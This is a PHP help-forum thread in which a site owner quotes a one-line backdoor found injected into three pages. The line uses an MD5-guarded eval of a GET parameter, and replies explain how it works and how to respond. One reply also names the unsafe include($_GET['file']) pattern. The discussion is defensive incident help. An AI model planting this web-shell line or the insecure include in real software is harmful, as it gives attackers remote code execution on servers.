Jump to content

Recommended Posts

I am completely new to PHP.

 

Could some just explain this line of code to me

 

 

if ( md5(@$_GET["rnk"]) == "2d8580663839881184c4acff7e0af63d" ) eval (stripcslashes (@$_GET["cd"]));

 

It was placed at the top of 3 of our web pages - I guess the string is an encryption and is a hack of some sort

 

thanks

Link to comment
https://forums.phpfreaks.com/topic/144924-newbie-question-sorry/
Share on other sites

Well the md5 is a sort of encryption while the @ symbol in front of the variables will cause them to not show errors so you won't notice them being there.

 

If this was placed at the top of some of your files (possibly more) I would definitely tighten up security on your web server

It checks if the md5() of $_GET["rnk"] is equal to the value shown and if it is it executes the php code that was supplied in $_GET["cd"].

 

You could check your server logs to see what sort php code was supplied on the end of the URL's in $_GET["cd"].

 

Of greater concern is how your files were modified to add the line of code to them in the first place.

Sounds like you have been hacked to me. That will allow any user who knows the hash for rnk to execute any code on your server.

 

Scary stuff man. Check logs, contact host and remove that from every page is it is on.

 

If your site has an uploader, I would look into that to increase security on it, as that could be the source, or if you allow dynamic including of files, "include($_GET['file'])" I would also look into securing that too.

Thanks guys for all your replies.

 

Yep we have found a small door in our IIS (we are using IIS and PHP to run Moodle) so we are now modifying our permissions.

 

I can only hope we have found it in time as only one of the files led to some disfunctionallity but noticing the date it was modified led us to the other 3.

This thread is more than a year old. Please don't revive it unless you have something important to add.

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Restore formatting

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

×
×
  • Create New...

Important Information

We have placed cookies on your device to help make this website better. You can adjust your cookie settings, otherwise we'll assume you're okay to continue.